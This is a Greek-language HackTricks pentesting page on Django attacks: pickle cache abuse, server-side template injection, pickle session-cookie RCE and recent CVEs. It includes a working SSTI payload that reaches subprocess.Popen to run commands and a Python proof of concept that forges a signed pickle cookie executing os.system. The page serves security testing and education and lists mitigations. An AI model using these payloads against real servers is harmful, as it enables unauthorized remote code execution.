Django
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Cache Manipulation to RCE
Η προεπιλεγμένη μέθοδος αποθήκευσης cache του Django είναι Python pickles, η οποία μπορεί να οδηγήσει σε RCE αν μη αξιόπιστα δεδομένα αποσυμπιεστούν. Αν ένας επιτιθέμενος μπορέσει να αποκτήσει δικαιώματα εγγραφής στην cache, μπορεί να κλιμακώσει αυτή την ευπάθεια σε RCE στον υποκείμενο διακομιστή.
Η cache του Django αποθηκεύεται σε μία από τέσσερις τοποθεσίες: Redis, μνήμη, αρχεία, ή μια βάση δεδομένων. Η cache που αποθηκεύεται σε έναν διακομιστή Redis ή σε μια βάση δεδομένων είναι οι πιο πιθανές διαδρομές επίθεσης (Redis injection και SQL injection), αλλά ένας επιτιθέμενος μπορεί επίσης να είναι σε θέση να χρησιμοποιήσει την cache βασισμένη σε αρχεία για να μετατρέψει μια αυθαίρετη εγγραφή σε RCE. Οι συντηρητές έχουν χαρακτηρίσει αυτό ως μη ζήτημα. Είναι σημαντικό να σημειωθεί ότι ο φάκελος αρχείων cache, το όνομα πίνακα SQL και οι λεπτομέρειες του διακομιστή Redis θα διαφέρουν ανάλογα με την υλοποίηση.
Αυτή η αναφορά του HackerOne παρέχει ένα εξαιρετικό, αναπαραγώγιμο παράδειγμα εκμετάλλευσης της cache του Django που αποθηκεύεται σε μια βάση δεδομένων SQLite: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
Η Γλώσσα Προτύπων Django (DTL) είναι Turing-complete. Αν τα δεδομένα που παρέχονται από τον χρήστη αποδοθούν ως string προτύπου (για παράδειγμα καλώντας Template(user_input).render()
ή όταν το |safe
/format_html()
αφαιρεί την αυτόματη απόδραση), ένας επιτιθέμενος μπορεί να επιτύχει πλήρη SSTI → RCE.
Detection
- Αναζητήστε δυναμικές κλήσεις σε
Template()
/Engine.from_string()
/render_to_string()
που περιλαμβάνουν οποιαδήποτε μη απολυμασμένα δεδομένα αιτήματος. - Στείλτε ένα payload βασισμένο σε χρόνο ή αριθμητικό:
{{7*7}}
Αν η αποδοθείσα έξοδος περιέχει 49
, η είσοδος έχει μεταγλωττιστεί από τον μηχανισμό προτύπων.
Primitive to RCE
Ο Django αποκλείει την άμεση πρόσβαση στο __import__
, αλλά το γραφικό αντικειμένων Python είναι προσβάσιμο:
{{''.__class__.mro()[1].__subclasses__()}}
Βρείτε τον δείκτη του subprocess.Popen
(≈400–500 ανάλογα με την έκδοση του Python) και εκτελέστε αυθαίρετες εντολές:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
Ένα πιο ασφαλές καθολικό εργαλείο είναι να επαναλαμβάνετε μέχρι cls.__name__ == 'Popen'
.
Το ίδιο εργαλείο λειτουργεί για τις δυνατότητες απόδοσης προτύπων Debug Toolbar ή Django-CMS που χειρίζονται λανθασμένα την είσοδο του χρήστη.
RCE με Cookie Συνεδρίας Βασισμένο σε Pickle
Εάν η ρύθμιση SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
είναι ενεργοποιημένη (ή ένας προσαρμοσμένος σειριαστής που αποσυμπιέζει pickle), το Django αποκρυπτογραφεί και αποσυμπιέζει το cookie συνεδρίας πριν καλέσει οποιονδήποτε κωδικό προβολής. Επομένως, η κατοχή ενός έγκυρου κλειδιού υπογραφής (το SECRET_KEY
του έργου από προεπιλογή) είναι αρκετή για άμεση απομακρυσμένη εκτέλεση κώδικα.
Απαιτήσεις Εκμετάλλευσης
- Ο διακομιστής χρησιμοποιεί
PickleSerializer
. - Ο επιτιθέμενος γνωρίζει / μπορεί να μαντέψει το
settings.SECRET_KEY
(διαρροές μέσω GitHub,.env
, σελίδες σφαλμάτων κ.λπ.).
Απόδειξη της Έννοιας
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Στείλτε το αποτέλεσμα cookie, και το payload εκτελείται με τις άδειες του WSGI worker.
Μειώσεις: Διατηρήστε τον προεπιλεγμένο JSONSerializer
, περιστρέψτε το SECRET_KEY
, και ρυθμίστε το SESSION_COOKIE_HTTPONLY
.
Πρόσφατα (2023-2025) Υψηλής Επίδρασης CVEs Django που πρέπει να ελέγξουν οι Pentesters
- CVE-2025-48432 – Εισαγωγή Καταγραφής μέσω μη διαφυλαγμένου
request.path
(διορθώθηκε 4 Ιουνίου 2025). Επιτρέπει στους επιτιθέμενους να μεταφέρουν νέες γραμμές/κωδικούς ANSI σε αρχεία καταγραφής και να δηλητηριάσουν την ανάλυση καταγραφής. Επίπεδο patch ≥ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 – Κρίσιμη SQL injection στο
QuerySet.values()/values_list()
στοJSONField
(CVSS 9.8). Δημιουργήστε κλειδιά JSON για να σπάσετε την παράθεση και να εκτελέσετε αυθαίρετη SQL. Διορθώθηκε στην 4.2.15 / 5.0.8.
Πάντα να αναγνωρίζετε την ακριβή έκδοση του framework μέσω της σελίδας σφάλματος X-Frame-Options
ή του hash του /static/admin/css/base.css
και να δοκιμάζετε τα παραπάνω όπου είναι εφαρμόσιμο.
Αναφορές
- Ασφαλής έκδοση Django – "Django 5.2.2, 5.1.10, 4.2.22 διευθύνει το CVE-2025-48432" – 4 Ιουνίου 2025.
- OP-Innovate: "Η Django κυκλοφορεί ενημερώσεις ασφαλείας για να αντιμετωπίσει την αδυναμία SQL injection CVE-2024-42005" – 11 Αυγούστου 2024.
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.